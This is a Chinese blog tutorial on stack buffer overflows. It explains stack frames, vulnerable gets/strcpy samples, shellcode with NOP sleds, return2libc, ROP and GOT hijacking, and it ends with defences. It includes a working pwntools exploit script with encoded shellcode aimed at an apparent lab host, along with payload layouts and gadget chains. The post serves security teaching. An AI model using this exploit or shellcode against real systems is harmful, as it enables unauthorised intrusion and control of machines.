BoF 理論簡介(1)


Posted by nathan2009729 on 2023-02-05

esp與epb

(這篇會融 (抄)(襲) 許多人的網誌,組合成一篇筆者自己比較看得懂的文章)

以下是一個C語言程式:

#include <stdio.h>

int func (int x, int y){
    int a = 3;
    int b = 5;
    int c = 7;
    printf("%p %p %p %p %p\n", &x, &y ,&a ,&b, &c);
    return 0;
}

int main(){
    func(1,2);
    return 0;
}

電腦處理的過程如下:

在C語言程序中,參數的壓棧順序是反向的。比如func(a,b,c)。在參數入棧的時候,是:先壓c,再壓b,最後壓a.在取參數的時候,由於棧的先入後出,先取棧頂的a,再取b,最後取c。

如果畫成圖,就會是以下步驟:

而這一連串的步驟,會用到EIP(instruction pointer register)、EBP (base pointer,也是圖中的frame pointer)、以及ESP(stack pointer)等三個重要的暫存器。

EIP指向目前要執行的指令的位址。而EBP(base)到ESP(top)的範圍為目前stack的框架。

什麼是框架(frame)?我們知道stack是一個共用的空間,假設有個function A先使用了一些stack的空間,然後程式流程跳轉到function B,此時B要怎麼確認它可以用stack上的哪些空間而不要覆寫、誤存到其他人的空間呢(例如剛剛A所使用掉的空間)? -答案是設一個指標記住之前stack用到哪裡(也就是B開始使用stack那一刻的stack top),並且把這裡當成新的stack base(EBP),從這裡到stack top(ESP)就明確表達出目前stack使用範圍,這就是目前程序的框架(frame)。

其中ebp跟esp這兩個暫存器,在新增函式時,每一張圖對應的組合語言程式碼如下:

而在函式執行完要return時,對應組合語言程式碼如下:

注意在執行ret指令時,將獲取站內EIP數據,然後棧內的EIP也將出棧。程序跳轉到函數下方。esp回到函數棧頂部,函數調用結束。

而現在用另一個C程式來談談buffer overflow:

#include <stdio.h>
void hacker()
{
    printf("No, I'm a hacker!\n");
}
void nonSecure()
{
    char name[16];
    printf("What's your name?\n");
    gets(name);
    printf("Hey %s, you're harmless, aren't you?\n", name);
}
int main()
{
    nonSecure();
    return 0;
}

而其中它的stack示意圖如下: (rbp是64位元的ebp)

執行gets(name)輸入”AAAAAAA…”之後的stack:

name、rbp、ret全部被A給覆寫,然後當nonSecure這個函式返回時,取用到的return address就是”AAAAAAAA”-也就是0x4141414141414141 (ASCII A : 0x41),而程式無法解析這個位址所放的指令,於是就發生Segmentation fault。

第二個例子:

一樣先來一段c code:

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
    char buffer[128];
    if (argc < 2) {
        printf("Please input one argument!\n");
        return -1;
    }
    strcpy(buffer, argv[1]);
    printf("argv[1]: %s\n", buffer);
    return 0;
}

上述代碼主要是通過 strcpy 函數來實現棧溢出的,strcpy 是在執行拷貝的時候,是從低地址向高地址拷貝,而且是不會比較兩個參數的 size 的,因此我們的 buffer 雖然長度為 128 個字節,但是如果輸入的參數大於這個長度,比如 136 個字節,則會造成剩余的 8 個字節將會覆蓋到 ebp 以及返回地址處,如下圖:

這樣我們就能控制程序跳轉到什麽地方執行。

既然知道原理,那要如何執行惡意代碼,也就是常說的shell code?

在上述代碼中,可以有幾種方式跳轉到 shellcode 執行。

  1. 將 shellcode 放到返回地址之前,即 buffer [128]+ebp,共 132 字節里,return address 設置跳到 shellcode 處,這種方法比較簡單,缺點是有大小限制。

  1. 將 shellcode 放到返回地址之後,如下圖。但如果我們的漏洞不能溢出這麽多字節,比如只能溢出 16 個字節,則無法采用這種方式。

  1. jmp esp。將返回地址修改為內存中某處固定的 jmp esp 指令的地址,因為當返回地址出棧時,esp 剛好指向返回地址之後的地址,跟上面的第二種方式異曲同工。這種方法的好處是,不需要知道當前棧的地址。

函數調用結束時,如果要讓 eip 指向攻擊指令,需要哪些準備?首先,在退棧過程中,返回地址會被傳給 eip,所以我們只需要讓溢出數據用攻擊指令的地址來覆蓋返回地址就可以了。其次,我們可以在溢出數據內包含一段攻擊指令,也可以在內存其他位置尋找可用的攻擊指令。

函數調用發生時,如果要讓 eip 指向攻擊指令,需要哪些準備?這時,eip 會指向原程序中某個指定的函數,我們沒法通過改寫返回地址來控制了,不過我們可以“偷梁換柱”--將原本指定的函數在調用時替換為其他函數。

技術大概可以總結為(括號內英文是所用技術的簡稱):

  • 修改返回地址,讓其指向溢出數據中的一段指令(shellcode)

  • 修改返回地址,讓其指向內存中已有的某個函數(return2libc)

  • 修改返回地址,讓其指向內存中已有的一段指令(ROP)

  • 修改某個被調用函數的地址,讓其指向另一個函數(hijack GOT)

  1. shell code技術:

要完成的任務包括:在溢出數據內包含一段攻擊指令,用攻擊指令的起始地址覆蓋掉返回地址。攻擊指令一般都是用來打開 shell,從而可以獲得當前進程的控制權,所以這類指令片段也被成為“shellcode”。shellcode 可以用匯編語言來寫再轉成對應的機器碼,也可以上網搜索直接覆制粘貼,這里就不再贅述。下面我們先寫出溢出數據的組成,再確定對應的各部分填充進去。

payload : padding1 + address of shellcode + padding2 + shellcode

padding1 處的數據可以隨意填充(注意如果利用字符串程序輸入溢出數據不要包含 “\x00” ,否則向程序傳入溢出數據時會造成截斷),長度應該剛好覆蓋函數的基地址。address of shellcode 是後面 shellcode 起始處的地址,用來覆蓋返回地址。padding2 處的數據也可以隨意填充,長度可以任意。shellcode 應該為十六進制的機器碼格式。

  1. 返回地址之前的填充數據(padding1)應該多長?

我們可以用調試工具(例如 gdb)查看匯編代碼來確定這個距離,也可以在運行程序時用不斷增加輸入長度的方法來試探(如果返回地址被無效地址例如“AAAA”覆蓋,程序會終止並報錯)。

  1. shellcode起始地址應該是多少?

我們可以在調試工具里查看返回地址的位置(可以查看 ebp 的內容然後再加4(32位機),參見前面關於函數狀態的解釋),可是在調試工具里的這個地址和正常運行時並不一致,這是運行時環境變量等因素有所不同造成的。所以這種情況下我們只能得到大致但不確切的 shellcode 起始地址,解決辦法是在 padding2 里填充若幹長度的 “\x90”。這個機器碼對應的指令是 NOP (No Operation),也就是告訴 CPU 什麽也不做,然後跳到下一條指令。有了這一段 NOP 的填充,只要返回地址能夠命中這一段中的任意位置,都可以無副作用地跳轉到 shellcode 的起始處,所以這種方法被稱為NOP Sled(中文含義是“滑雪橇”)。這樣我們就可以通過增加 NOP 填充來配合試驗 shellcode 起始地址。

操作系統可以將函數調用棧的起始地址設為隨機化(這種技術被稱為內存布局隨機化,即Address Space Layout Randomization (ASLR) ),這樣程序每次運行時函數返回地址會隨機變化。反之如果操作系統關閉了上述的隨機化(這是技術可以生效的前提),那麽程序每次運行時函數返回地址會是相同的,這樣我們可以通過輸入無效的溢出數據來生成core文件,再通過調試工具在core文件中找到返回地址的位置,從而確定 shellcode 的起始地址。

解決完上述問題,我們就可以拼接出最終的溢出數據,輸入至程序來執行 shellcode 了。

所以code,具體而言應像是這樣:

from pwn import *
r = remote("192.168.18.187",9999)
command = b"TRUN /.:/"
padding = b'a'*2003
new_eip = p32(0x625011af)
padding2 = p32(0x90909090) * 10

shellcode = (b"\xba\x2f\xdb\x66\x01\xdd\xc5\xd9\x74\x24\xf4\x5d\x33\xc9\xb1"
b"\x52\x31\x55\x12\x03\x55\x12\x83\xc2\x27\x84\xf4\xe0\x30\xcb"
b"\xf7\x18\xc1\xac\x7e\xfd\xf0\xec\xe5\x76\xa2\xdc\x6e\xda\x4f"
b"\x96\x23\xce\xc4\xda\xeb\xe1\x6d\x50\xca\xcc\x6e\xc9\x2e\x4f"
b"\xed\x10\x63\xaf\xcc\xda\x76\xae\x09\x06\x7a\xe2\xc2\x4c\x29"
b"\x12\x66\x18\xf2\x99\x34\x8c\x72\x7e\x8c\xaf\x53\xd1\x86\xe9"
b"\x73\xd0\x4b\x82\x3d\xca\x88\xaf\xf4\x61\x7a\x5b\x07\xa3\xb2"
b"\xa4\xa4\x8a\x7a\x57\xb4\xcb\xbd\x88\xc3\x25\xbe\x35\xd4\xf2"
b"\xbc\xe1\x51\xe0\x67\x61\xc1\xcc\x96\xa6\x94\x87\x95\x03\xd2"
b"\xcf\xb9\x92\x37\x64\xc5\x1f\xb6\xaa\x4f\x5b\x9d\x6e\x0b\x3f"
b"\xbc\x37\xf1\xee\xc1\x27\x5a\x4e\x64\x2c\x77\x9b\x15\x6f\x10"
b"\x68\x14\x8f\xe0\xe6\x2f\xfc\xd2\xa9\x9b\x6a\x5f\x21\x02\x6d"
b"\xa0\x18\xf2\xe1\x5f\xa3\x03\x28\xa4\xf7\x53\x42\x0d\x78\x38"
b"\x92\xb2\xad\xef\xc2\x1c\x1e\x50\xb2\xdc\xce\x38\xd8\xd2\x31"
b"\x58\xe3\x38\x5a\xf3\x1e\xab\xa5\xac\x32\x91\x4e\xaf\x32\xfb"
b"\x4b\x26\xd4\x69\x44\x6f\x4f\x06\xfd\x2a\x1b\xb7\x02\xe1\x66"
b"\xf7\x89\x06\x97\xb6\x79\x62\x8b\x2f\x8a\x39\xf1\xe6\x95\x97"
b"\x9d\x65\x07\x7c\x5d\xe3\x34\x2b\x0a\xa4\x8b\x22\xde\x58\xb5"
b"\x9c\xfc\xa0\x23\xe6\x44\x7f\x90\xe9\x45\xf2\xac\xcd\x55\xca"
b"\x2d\x4a\x01\x82\x7b\x04\xff\x64\xd2\xe6\xa9\x3e\x89\xa0\x3d"
b"\xc6\xe1\x72\x3b\xc7\x2f\x05\xa3\x76\x86\x50\xdc\xb7\x4e\x55"
b"\xa5\xa5\xee\x9a\x7c\x6e\x0e\x79\x54\x9b\xa7\x24\x3d\x26\xaa"
b"\xd6\xe8\x65\xd3\x54\x18\x16\x20\x44\x69\x13\x6c\xc2\x82\x69"
b"\xfd\xa7\xa4\xde\xfe\xed")

payload = command + padding + new_eip  + padding2 + shellcode

r.sendline(payload)

方法生效前提:

這種方法生效的一個前提是在函數調用棧上的數據(shellcode)要有可執行的權限(另一個前提是上面提到的關閉內存布局隨機化)。很多時候操作系統會關閉函數調用棧的可執行權限,這樣 shellcode 的方法就失效了,不過我們還可以嘗試使用內存里已有的指令或函數,畢竟這些部分本來就是可執行的,所以不會受上述執行權限的限制。這就包括 return2libc 和 ROP 兩種方法。

解決完上述問題,我們就可以拼接出最終的溢出數據,輸入至程序來執行 shellcode 了。

而這一種方式,實際的例子與操作可以看下一篇。實際打打看就知道怎麼做。

return2libc技術

--修改返回地址,讓其指向內存中已有的某個函數

根據上面副標題的說明,要完成的任務包括:在內存中確定某個函數的地址,並用其覆蓋掉返回地址。由於 libc 動態鏈接庫中的函數被廣泛使用,所以有很大概率可以在內存中找到該動態庫。同時由於該庫包含了一些系統級的函數(例如 system() 等),所以通常使用這些系統級函數來獲得當前進程的控制權。鑒於要執行的函數可能需要參數,比如調用 system() 函數打開 shell 的完整形式為 system(“/bin/sh”) ,所以溢出數據也要包括必要的參數。下面就以執行 system(“/bin/sh”) 為例,先寫出溢出數據的組成,再確定對應的各部分填充進去。

payload: padding1 + address of system() + padding2 + address of “/bin/sh”

return2libc 所用溢出數據的構造如下

padding1 處的數據可以隨意填充(注意不要包含 “\x00” ,否則向程序傳入溢出數據時會造成截斷),長度應該剛好覆蓋函數的基地址。address of system() 是 system() 在內存中的地址,用來覆蓋返回地址。padding2 處的數據長度為4(32位機),對應調用 system() 時的返回地址。因為我們在這里只需要打開 shell 就可以,並不關心從 shell 退出之後的行為,所以 padding2 的內容可以隨意填充。address of “/bin/sh” 是字符串 “/bin/sh” 在內存中的地址,作為傳給 system() 的參數。

根據上面的構造,我們要解決個問題。

  1. 返回地址之前的填充數據(padding1)應該多長?

解決方法和 shellcode 中提到的答案一樣。

  1. system() 函數地址應該是多少?

要回答這個問題,就要看看程序是如何調用動態鏈接庫中的函數的。當函數被動態鏈接至程序中,程序在運行時首先確定動態鏈接庫在內存的起始地址,再加上函數在動態庫中的相對偏移量,最終得到函數在內存的絕對地址。說到確定動態庫的內存地址,就要回顧一下 shellcode 中提到的內存布局隨機化(ASLR),這項技術也會將動態庫加載的起始地址做隨機化處理。所以,如果操作系統打開了 ASLR,程序每次運行時動態庫的起始地址都會變化,也就無從確定庫內函數的絕對地址。在 ASLR 被關閉的前提下,我們可以通過調試工具在運行程序過程中直接查看 system() 的地址,也可以查看動態庫在內存的起始地址,再在動態庫內查看函數的相對偏移位置,通過計算得到函數的絕對地址。

最後,“/bin/sh” 的地址在哪里?

可以在動態庫里搜索這個字符串,如果存在,就可以按照動態庫起始地址+相對偏移來確定其絕對地址。如果在動態庫里找不到,可以將這個字符串加到環境變量里,再通過 getenv() 等函數來確定地址。

解決完上述問題,我們就可以拼接出溢出數據,輸入至程序來通過 system() 打開 shell 了。

寄存器

在上篇的背景知識中,我們提到了函數狀態相關的三個寄存器--esp,ebp,eip。下面的內容會涉及更多的寄存器,所以我們大致介紹下寄存器在執行程序指令中的不同用途。

32位x86架構下的寄存器可以被簡單分為通用寄存器和特殊寄存器兩類,通用寄存器在大部分匯編指令下是可以任意使用的(雖然有些指令規定了某些寄存器的特定用途),而特殊寄存器只能被特定的匯編指令使用,不能用來任意存儲數據。

32位x86架構下的通用寄存器包括一般寄存器(eax、ebx、ecx、edx),索引寄存器(esi、edi),以及堆棧指針寄存器(esp、ebp)。

一般寄存器用來存儲運行時數據,是指令最常用到的寄存器,除了存放一般性的數據,每個一般寄存器都有自己較為固定的獨特用途。eax 被稱為累加寄存器(Accumulator),用以進行算數運算和返回函數結果等。ebx 被稱為基址寄存器(Base),在內存尋址時(比如數組運算)用以存放基地址。ecx 被稱為記數寄存器(Counter),用以在循環過程中記數。edx 被稱為數據寄存器(Data),常配合 eax 一起存放運算結果等數據。

索引寄存器通常用於字符串操作中,esi 指向要處理的數據地址(Source Index),edi 指向存放處理結果的數據地址(Destination Index)。

堆棧指針寄存器(esp、ebp)用於保存函數在調用棧中的狀態,上篇已有詳細的介紹。

32位x86架構下的特殊寄存器包括段地址寄存器(ss、cs、ds、es、fs、gs),標志位寄存器(EFLAGS),以及指令指針寄存器(eip)。

現代操作系統內存通常是以分段的形式存放不同類型的信息的。我們在上篇談及的函數調用棧就是分段的一個部分(Stack Segment)。內存分段還包括堆(Heap Segment)、數據段(Data Segment),BSS段,以及代碼段(Code Segment)。代碼段存儲可執行代碼和只讀常量(如常量字符串),屬性可讀可執行,但通常不可寫。數據段存儲已經初始化且初值不為0的全局變量和靜態局部變量,BSS段存儲未初始化或初值為0的全局變量和靜態局部變量,這兩段數據都有可寫的屬性。堆用於存放程序運行中動態分配的內存,例如C語言中的 malloc() 和 free() 函數就是在堆上分配和釋放內存。各段在內存的排列如下圖所示。内存分段的典型布局 :

段地址寄存器就是用來存儲內存分段地址的,其中寄存器 ss 存儲函數調用棧(Stack Segment)的地址,寄存器 cs 存儲代碼段(Code Segment)的地址,寄存器 ds 存儲數據段(Data Segment)的地址,es、fs、gs 是附加的存儲數據段地址的寄存器。

標志位寄存器(EFLAGS)32位中的大部分被用於標志數據或程序的狀態,例如 OF(Overflow Flag)對應數值溢出、IF(Interrupt Flag)對應中斷、ZF(Zero Flag)對應運算結果為0、CF(Carry Flag)對應運算產生進位等等。

指令指針寄存器(eip)存儲下一條運行指令的地址。

ROP ( Return Oriented Programming )

--修改返回地址,讓其指向內存中已有的一段指令

根據上面副標題的說明,要完成的任務包括:在內存中確定某段指令的地址,並用其覆蓋返回地址。可是既然可以覆蓋返回地址並定位到內存地址,為什麽不直接用上篇提到的 return2libc 呢?因為有時目標函數在內存內無法找到,有時目標操作並沒有特定的函數可以完美適配。這時就需要在內存中尋找多個指令片段,拼湊出一系列操作來達成目的。假如要執行某段指令(我們將其稱為“gadget”,意為小工具),溢出數據應該以下面的方式構造(padding 長度和內容的確定方式參見上篇):

payload : padding + address of gadget

包含单个 gadget 的溢出数据 :

如果想連續執行若幹段指令,就需要每個 gadget 執行完畢可以將控制權交給下一個 gadget。所以 gadget 的最後一步應該是 RET 指令,這樣程序的控制權(eip)才能得到切換,所以這種技術被稱為返回導向編程( Return Oriented Programming )。要執行多個 gadget,溢出數據應該以下面的方式構造:

payload : padding + address of gadget 1 + address of gadget 2 + ......

address of gadget n

在這樣的構造下,被調用函數返回時會跳轉執行 gadget 1,執行完畢時 gadget 1 的 RET 指令會將此時的棧頂數據(也就是 gadget 2 的地址)彈出至 eip,程序繼續跳轉執行 gadget 2,以此類推。

包含多个 gadget 的溢出数据 :

現在任務可以分解為:針對程序棧溢出所要實現的效果,找到若幹段以 ret 作為結束的指令片段,按照上述的構造將它們的地址填充到溢出數據中。所以我們要解決以下幾個問題。

首先,棧溢出之後要實現什麽效果?

ROP 常見的拼湊效果是實現一次系統調用,Linux系統下對應的匯編指令是 int 0x80。執行這條指令時,被調用函數的編號應存入 eax,調用參數應按順序存入 ebx,ecx,edx,esi,edi 中。例如,編號125對應函數

mprotect (void *addr, size_t len, int prot)

可用該函數將棧的屬性改為可執行,這樣就可以使用 shellcode 了。假如我們想利用系統調用執行這個函數,eax、ebx、ecx、edx 應該分別為“125”、內存棧的分段地址(可以通過調試工具確定)、“0x10000”(需要修改的空間長度,也許需要更長)、“7”(RWX 權限)。

其次,如何尋找對應的指令片段?

有若幹開源工具可以實現搜索以 ret 結尾的指令片段,著名的包括 ROPgadget、rp++、ropeme 等,甚至也可以用 grep 等文本匹配工具在匯編指令中搜索 ret 再進一步篩選。搜索的詳細過程在這里就不再贅述,有興趣的同學可以參考上述工具的說明文檔。

最後,如何傳入系統調用的參數?

對於上面提到的 mprotect 函數,我們需要將參數傳輸至寄存器,所以可以用 pop 指令將棧頂數據彈入寄存器。如果在內存中能找到直接可用的數據,也可以用 mov 指令來進行傳輸,不過寫入數據再 pop 要比先搜索再 mov 來的簡單,對吧?如果要用 pop 指令來傳輸調用參數,就需要在溢出數據內包含這些參數,所以上面的溢出數據格式需要一點修改。對於單個 gadget,pop 所傳輸的數據應該在 gadget 地址之後,如下圖所示( gadget “pop eax; ret;”)。

在調用 mprotect() 為棧開啟可執行權限之後,我們希望執行一段 shellcode,所以要將 shellcode 也加入溢出數據,並將 shellcode 的開始地址加到 int 0x80 的 gadget之後。但確定 shellcode 在內存的確切地址是很困難的事(想起上篇里面艱難試探的過程了嗎?),我們可以使用 push esp 這個 gadget(加入可以找到的話)。

gadget “push esp; ret;”

我們假設現在內存中可以找到如下幾條指令:

pop eax; ret;    # pop stack top into eax
pop ebx; ret;    # pop stack top into ebx
pop ecx; ret;    # pop stack top into ecx
pop edx; ret;    # pop stack top into edx
int 0x80; ret;   # system call
push esp; ret;   # push address of shellcode

對於所有包含 pop 指令的 gadget,在其地址之後都要添加 pop 的傳輸數據,同時在所有 gadget 最後包含一段 shellcode,最終溢出數據結構應該變為如下格式。

payload : padding + address of gadget 1 + param for gadget 1 + address of gadget 2 + param for gadget 2 + ...... + address of gadget n + shellcode

包含多個 gadget 的溢出數據(修改後):

此處為了簡單,先假定輸入溢出數據不受“\x00"字符的影響,所以 payload 可以直接包含 “\x7d\x00\x00\x00”(傳給 eax 的參數125)。如果希望實現更為真實的操作,可以用多個 gadget 通過運算得到上述參數。比如可以通過下面三條 gadget 來給 eax 傳遞參數。

pop eax; ret;         # pop stack top 0x1111118e into eax
pop ebx; ret;         # pop stack top 0x11111111 into ebx
sub eax, ebx; ret;    # eax -= ebx

解決完上述問題,我們就可以拼接出溢出數據,輸入至程序來為程序調用棧開啟可執行權限並執行 shellcode。同時,由於 ROP 方法帶來的靈活性,現在不再需要痛苦地試探 shellcode 起始地址了。回顧整個輸入數據,只有棧的分段地址需要獲取確定地址。如果利用 gadget 讀取 ebp 的值再加上某個合適的數值,就可以保證溢出數據都具有可執行權限,這樣就不再需要獲取確切地址,也就具有了繞過內存隨機化的可能。

出於演示的目的,我們假設(簡直是欽點)了所有需要的 gadget 的存在。在實際搜索及拼接 gadget 時,並不會像上面一樣順利,有兩個方面需要注意。

第一,很多時候並不能一次湊齊全部的理想指令片段,這時就要通過數據地址的偏移、寄存器之間的數據傳輸等方法來“曲線救國”。舉個例子,假設找不到下面這條 gadget

pop ebx; ret;

但假如可以找到下面的 gadget

mov ebx, eax; ret;

我們就可以將它和

pop eax; ret;

組合起來實現將數據傳輸給 ebx 的功能。上面提到的用多個 gadget 避免輸入“\x00”也是一個實例應用。

第二,要小心 gadget 是否會破壞前面各個 gadget 已經實現的部分,比如可能修改某個已經寫入數值的寄存器。另外,要特別小心 gadget 對 ebp 和 esp 的操作,因為它們的變化會改變返回地址的位置,進而使後續的 gadget 無法執行。

Hijack GOT

--修改某個被調用函數的地址,讓其指向另一個函數

根據上面副標題的說明,要完成的任務包括:在內存中修改某個函數的地址,使其指向另一個函數。為了便於理解,不妨假設修改 printf() 函數的地址使其指向 system(),這樣修改之後程序內對 printf() 的調用就執行 system() 函數。要實現這個過程,我們就要弄清楚發生函數調用時程序是如何“找到”被調用函數的。

程序對外部函數的調用需要在生成可執行文件時將外部函數鏈接到程序中,鏈接的方式分為靜態鏈接和動態鏈接。靜態鏈接得到的可執行文件包含外部函數的全部代碼,動態鏈接得到的可執行文件並不包含外部函數的代碼,而是在運行時將動態鏈接庫(若幹外部函數的集合)加載到內存的某個位置,再在發生調用時去鏈接庫定位所需的函數。

可程序是如何在鏈接庫內定位到所需的函數呢?這個過程用到了兩張表--GOT 和 PLT。GOT 全稱是全局偏移量表(Global Offset Table),用來存儲外部函數在內存的確切地址。GOT 存儲在數據段(Data Segment)內,可以在程序運行中被修改。PLT 全稱是程序鏈接表(Procedure Linkage Table),用來存儲外部函數的入口點(entry),換言之程序總會到 PLT 這里尋找外部函數的地址。PLT 存儲在代碼段(Code Segment)內,在運行之前就已經確定並且不會被修改,所以 PLT 並不會知道程序運行時動態鏈接庫被加載的確切位置。那麽 PLT 表內存儲的入口點是什麽呢?就是 GOT 表中對應條目的地址。

PLT 和 GOT 表

等等,我們好像發現了一個不合理的地方,外部函數的內存地址存儲在 GOT 而非 PLT 表內,PLT 存儲的入口點又指向 GOT 的對應條目,那麽程序為什麽選擇 PLT 而非 GOT 作為調用的入口點呢?在程序啟動時確定所有外部函數的內存地址並寫入 GOT 表,之後只使用 GOT 表不是更方便嗎?這樣的設計是為了程序的運行效率。GOT 表的初始值都指向 PLT 表對應條目中的某個片段,這個片段的作用是調用一個函數地址解析函數。當程序需要調用某個外部函數時,首先到 PLT 表內尋找對應的入口點,跳轉到 GOT 表中。如果這是第一次調用這個函數,程序會通過 GOT 表再次跳轉回 PLT 表,運行地址解析程序來確定函數的確切地址,並用其覆蓋掉 GOT 表的初始值,之後再執行函數調用。當再次調用這個函數時,程序仍然首先通過 PLT 表跳轉到 GOT 表,此時 GOT 表已經存有獲取函數的內存地址,所以會直接跳轉到函數所在地址執行函數。整個過程如下面兩張圖所示。

上述實現遵循的是一種被稱為 LAZY 的設計思想,它將需要完成的操作(解析外部函數的內存地址)留到調用實際發生時才進行,而非在程序一開始運行時就解析出全部函數地址。這個過程也啟示了我們如何實現函數的偽裝,那就是到 GOT 表中將函數 A 的地址修改為函數 B 的地址。這樣在後面所有對函數 A 的調用都會執行函數 B。

那麽我們的目標可以分解為如下幾部分:確定函數 A 在 GOT 表中的條目位置,確定函數 B 在內存中的地址,將函數 B 的地址寫入函數 A 在 GOT 表中的條目。

首先,如何確定函數 A 在 GOT 表中的條目位置?

程序調用函數時是通過 PLT 表跳轉到 GOT 表的對應條目,所以可以在函數調用的匯編指令中找到 PLT 表中該函數的入口點位置,從而定位到該函數在 GOT 中的條目。

例如

call 0x08048430 <printf@plt>

就說明 printf 在 PLT 表中的入口點是在 0x08048430,所以 0x08048430 處存儲的就是 GOT 表中 printf 的條目地址。

其次,如何確定函數 B 在內存中的地址?

如果系統開啟了內存布局隨機化,程序每次運行動態鏈接庫的加載位置都是隨機的,就很難通過調試工具直接確定函數的地址。假如函數 B 在棧溢出之前已經被調用過,我們當然可以通過前一個問題的答案來獲得地址。但我們心儀的攻擊函數往往並不滿足被調用過的要求,也就是 GOT 表中並沒有其真實的內存地址。幸運的是,函數在動態鏈接庫內的相對位置是固定的,在動態庫打包生成時就已經確定。所以假如我們知道了函數 A 的運行時地址(讀取 GOT 表內容),也知道函數 A 和函數 B 在動態鏈接庫內的相對位置,就可以推算出函數 B 的運行時地址。

最後,如何實現 GOT 表中數據的修改?

很難找到合適的函數來完成這一任務,不過我們還有強大的 ROP(DIY大法好)。假設我們可以找到以下若幹條 gadget(繼續欽點),就不難改寫 GOT 表中數據,從而實現函數的偽裝。ROP 的具體實現請回看上一章,這里就不再贅述了。

pop eax; ret;         # printf@plt -> eax
mov ebx [eax]; ret;    # printf@got -> ebx
pop ecx; ret;         # addr_diff = system - printf -> ecx
add [ebx] ecx; ret;     # printf@got += addr_diff

aaa從修改 GOT 表的過程可以看出,這種方法也可以在一定程度上繞過內存隨機化。

防御措施

介紹過幾種棧溢出的基礎方法,我們再來補充一下操作系統內有哪些常見的措施可以進行防禦。首先,通常情況下程序在默認編譯設置下都會取消棧上數據的可執行權限,這樣簡單的 shellcode 溢出攻擊就無法實現了。其次,可以在操作系統內開啟內存布局隨機化(ASLR),這樣可以增大確定堆棧內數據和動態庫內函數的內存地址的難度。編譯程序時還可以設置某些編譯選項,使程序在運行時會在函數棧上的 ebp 地址和返回地址之間生成一個特殊的值,這個值被稱為“金絲雀”(關於這個典故,請大家自行谷歌)。這樣一旦發生了棧溢出並覆蓋了返回地址,這個值就會被改寫,從而實現函數棧的越界檢查。最後值得強調的是,盡可能寫出安全可靠的代碼,不給棧溢出提供寫入越界的可能。

Reference

https://www.csie.ntu.edu.tw/~sprout/algo2021/homework/hand07.pdf
计算机底层各种寄存器EIP EBP ESP_爱吃牛肉的大老虎的博客-CSDN博客
函数栈EIP、EBP、ESP寄存器的作用(转)
緩衝區溢位攻擊之一(Buffer Overflow)
栈溢出之 shellcode | harpersu00's Blog
手把手教你栈溢出从入门到放弃(上)
手把手教你栈溢出从入门到放弃(下)


#buffer overflow #shellcode #return2libc #ROP #hijack GOT







Related Posts

[NET101] -1

[NET101] -1

React-[核心篇]- 元件 &元件實例&React Element

React-[核心篇]- 元件 &元件實例&React Element

[MSSQL] 取得特定年、月、星期的所有日期

[MSSQL] 取得特定年、月、星期的所有日期


Comments